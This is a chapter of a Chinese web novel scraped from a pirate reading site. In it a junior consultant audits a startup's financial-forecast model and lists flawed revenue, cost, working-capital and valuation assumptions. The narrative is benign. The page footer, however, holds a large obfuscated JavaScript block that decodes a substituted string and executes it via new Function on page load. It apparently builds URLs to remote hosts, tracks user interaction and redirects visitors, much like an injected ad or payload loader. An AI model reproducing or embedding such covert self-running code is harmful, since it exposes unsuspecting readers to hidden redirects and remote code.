首页
第100章 报表的异常
返回
关灯 护眼:关 字号:小

第100章 报表的异常

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第100章报表的异常(第1/2页)
    周二下午,李岚将一份厚厚的、散发着油墨味的文件放在陈默桌上。“陈默,手头的事先放一放。看看这个。”
    陈默放下正在整理的行业术语表,拿起文件。封面标题是“‘迅捷科技’C轮融资商业计划书财务预测模型复核报告(德汇咨询内部评审版)”,日期是上周。他记得“迅捷科技”,是滨海本地一家做工业物联网解决方案的初创公司,发展很快,正在寻求融资。德汇咨询承接了为其商业计划书提供市场分析和财务模型搭建的服务。这个项目主要由赵鹏牵头,方经理也亲自过问,据说客户很重视。
    “岚姐,这是?”陈默抬头看向李岚。
    “赵鹏那边搭的初步财务模型,还有我们提供的市场预测数据,都整合在这里面了。融资方请的第三方财务顾问出了第一轮反馈意见,提了不少问题,有些涉及模型假设和预测逻辑。”李岚的语气一如往常的平静,但陈默能听出其中一丝凝重,“方经理让我整体把一下关,特别是财务模型和基础数据的衔接部分。我看了市场假设部分,问题不大。财务模型这块,赵鹏催得急,有些细节可能经不起深究。你对数字敏感,又刚系统学了财务基础,以一个新人的、挑剔的眼光,从头到尾看一遍这个模型。不急着评价好坏,就找不合理、不一致、或者让你觉得‘别扭’的地方。包括公式错误、假设矛盾、数据引用错误、逻辑跳跃,任何你觉得有问题的地方,都用批注标出来,写下你的疑问。明白吗?”
    陈默瞬间明白了自己的任务:成为这个重要项目的“内部挑错者”。这是一个信任,也是一次考验。考验他的财务知识应用能力,更考验他的细心、严谨和敢于质疑的勇气。李岚让他以“新人眼光”去看,既是降低他的心理压力,也是因为新人往往没有被既有思路束缚,更容易发现熟视无睹的问题。
    “明白。我需要看哪些具体部分?”陈默问。
    “全部。从摘要到附录,特别是财务预测部分的详细计算表。重点看营收预测、成本结构、关键比率、以及估值部分。对照我们提供的市场数据,看假设是否合理。给你两天时间,周四下班前给我一个初步的疑问清单。”李岚交代道。
    “好。”陈默应下,心里清楚,这是一个艰巨的任务。这份报告至少上百页,财务模型部分更是充斥着复杂的Excel公式链接。他需要快速进入状态。
    他冲了杯浓茶,回到座位,深吸一口气,翻开了报告。他先快速浏览了摘要和执行总结,了解项目概要和核心财务预测结论:迅捷科技计划在未来三年实现营收翻两番,净利润率从当前的微利提升到15%,基于此进行估值,融资额度不小。
    然后,他直接跳到最后的详细财务预测表。这是一系列相互链接的Excel表格打印件,包括详细的三年利润表预测、资产负债表预测、现金流量表预测,以及支撑这些预测的细分营收驱动表、成本明细表、人员薪酬预测、资本开支计划等。
    陈默拿出了草稿纸和红笔。他决定采用最笨但最可靠的方法:逐行、逐列、逐公式核对。他先看营收预测。模型将营收分为“硬件销售”、“软件授权”、“云服务订阅”、“项目实施与维护”四大类。每类下面又有更细分的产品线或客户类型预测。
    他首先核对各大类营收的加总是否正确,与摘要中的总数是否一致。这一步就发现了一个小问题:第二年“云服务订阅”的某个细分项数值在汇总时,公式似乎多包含了一个空白单元格,导致该细分项总额虚高了约百分之二。他记下位置和疑问。
    接着,他看增长假设。模型为每个产品线设定了未来三年的年复合增长率。他尝试理解这些增长率设定的依据,是否与前面市场分析部分提供的行业增速、公司历史增速、竞争格局相匹配。他发现,“硬件销售”中某个非核心产品的增长率设定得异常高,但前面的市场分析并未给出该细分市场高速增长的有力支撑。他标出此处,注明“增长率假设与市场分析支撑不足,需复核依据”。
    然后,他开始检查成本部分。这是重点,也是容易藏匿问题的地方。模型将成本分为“直接材料成本”、“直接人工”、“制造费用”、“研发费用”、“销售费用”、“管理费用”等。他先核对成本占营收的比例(成本率)是否在合理范围内,并与历史数据(如果有)及行业平均水平(报告前文有提及)进行对比。
    在检查“销售费用”明细时,他发现了第一个显著的“别扭”点。销售费用中,“市场推广及广告费”在未来三年的预测值增长曲线,与营收增长曲线几乎完全同步,且占营收的比例始终保持在一个固定值。这不符合一般规律。通常,在业务扩张期,市场推广费用可能前期投入更高(占比更高),以换取增长,后期随着品牌效应和规模经济,占比可能下降。这种僵硬的固定比例假设,可能高估了成熟期的利润,或者低估了扩张期的必要投入。他将此列为“关键疑问点一:销售费用与营收刚性挂钩假设的合理性”。
    他继续深入。在“管理费用”的“行政人员薪酬”子项下,他注意到行政人员的数量预测在未来三年增长平缓,但人均薪酬的年增幅却设定得高于行业通胀和公司整体薪酬增长预期。他追溯公式,发现这个“人均薪酬增幅”引用了另一个“关键假设输入表”中的参数。他找到那张“关键假设输入表”,发现其中关于“行政人员薪酬年增幅”的假设值,确实比“技术人员薪酬年增幅”和“销售人员薪酬年增幅”高出近两个百分点。报告中没有给出合理解释。他标记为“疑问点二:行政人员薪酬增速异常偏高,依据?”
    (本章未完,请点击下一页继续阅读)第100章报表的异常(第2/2页)
    时间在专注的核对中飞快流逝。下班时间到了,同事们陆续离开。陈默去楼下快速吃了碗面,又回到办公室。晚上的办公区很安静,适合深度思考。
    他开始检查现金流量表预测,特别是“经营活动现金流”与“净利润”的调节。这是财务速成中学到的重点:利润的“含金量”。模型显示,公司预测的净利润持续增长,但经营活动现金流净额在第二年却出现了一个小幅度的负值,尽管数值不大。他立刻警惕起来。
    他仔细分析间接法调节项。问题出在“营运资本变动”上。模型预测,随着营收快速增长,应收账款和存货会大幅增加(占用现金流),而应付账款的增加不足以抵消。这本身是合理的商业逻辑。但陈默发现,模型对应收账款周转天数(DSO)和存货周转天数(DIO)的假设,过于乐观,低于行业优秀水平,且在未来三年持续改善。而应付账款周转天数(DPO)的假设则相对保守,改善幅度很小。
    这意味着,模型假设公司能以优于行业的速度回款、快速卖出存货,但却不能更好地利用供应商账期。这种不对称的假设,虽然使得经营活动现金流在第三年转正并大幅改善,但却让第二年的那个小额负值显得有点“刻意”——仿佛是为了让现金流预测看起来“更真实”(有起伏),但又不想让负值太大影响估值。更深层的是,如果DSO和DIO的假设过于乐观,而DPO假设保守,那么实际的营运资本压力可能远大于预测,对现金流造成更大拖累,甚至影响融资后的生存能力。
    他翻回前面的“关键假设输入表”,果然找到了DSO、DIO、DPO的具体假设值。与他记忆中行业报告里的数据对比,DSO和DIO的假设确实偏乐观。他将此列为“疑问点三:营运资本关键假设(DSO、DIO、DPO)的乐观倾向及对现金流的潜在影响”。
    最后,他看向估值部分。报告采用了常见的市盈率(P/E)和市销率(P/S)相对估值法,并参考了近期可比交易。估值乘数的选取区间看起来合理。但当他追溯市盈率法所用的“预测净利润”时,发现引用的是第三年的预测净利润。而这个净利润,是在前面那些可能有问题的营收、成本、费用假设下推算出来的。如果基础假设有偏差,估值自然失准。他备注:“疑问点四:估值基于的预测净利润,其底层假设(见疑问点一、二、三)需复核确认。”
    做完这些,已是晚上十点多。他保存好自己密密麻麻写满批注和疑问的报告复印件,将其锁进抽屉。然后,他将所有疑问点系统整理,录入一个新的Excel表格,按照“疑问点编号”、“所在位置(页码/表格)”、“问题描述”、“可能的影响”、“建议复核方向”进行分类,确保清晰、客观、有理有据,不掺杂个人情绪。
    做完这一切,他靠在椅背上,揉了揉酸涩的眼睛。报告里的这些“异常”,单独看或许都不致命,很多可能是建模时的简化处理或乐观估计。但组合在一起,尤其是关于现金流关键假设的乐观倾向,可能意味着这个财务模型在一定程度上美化了公司的短期现金流状况和长期盈利潜力,从而支撑一个更高的估值。这对于融资方(迅捷科技)是好事,但对于潜在投资方,则可能隐藏风险。
    陈默不知道这些问题是赵鹏的专业能力局限导致的,还是某种程度上的“选择性乐观”以迎合客户。他也不需要知道。他的任务是发现并指出问题。如何判断和处理,是李岚和方经理的责任。
    他关掉电脑,走出空无一人的办公室。夜晚的凉风让他精神一振。这次“报表的异常”核查,是他将财务知识应用于实际商业案例的一次宝贵实践。他不仅巩固了所学,更锻炼了在庞杂信息中捕捉矛盾、追溯根源的分析能力。
    更重要的是,他感觉到,自己正在德汇咨询这个“掩护”下,悄然积累着一种真正的、可以用于未来审视自身庞大资产和进行商业决策的“财务直觉”。这种直觉,冰冷、锐利,只忠于数字和逻辑。
    回到公寓,他没有立刻休息。他在“个人能力提升-阶段性里程碑”中记录:“完成首次复杂财务预测模型深度复核,独立发现多处关键假设与逻辑不一致之处,涉及营收、成本、现金流及估值基础。初步具备通过财务数据分析评估商业计划可行性与风险的能力。”
    他知道,周四将疑问清单交给李岚后,可能会有新的波澜。但此刻,他心中只有完成任务后的平静,以及对自身能力又精进一分的确认。窗外的城市依旧灯火通明,而他,在这寂静的深夜里,又向那个未来必须掌控的、由数字构筑的真实世界,迈出了坚实的一步。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();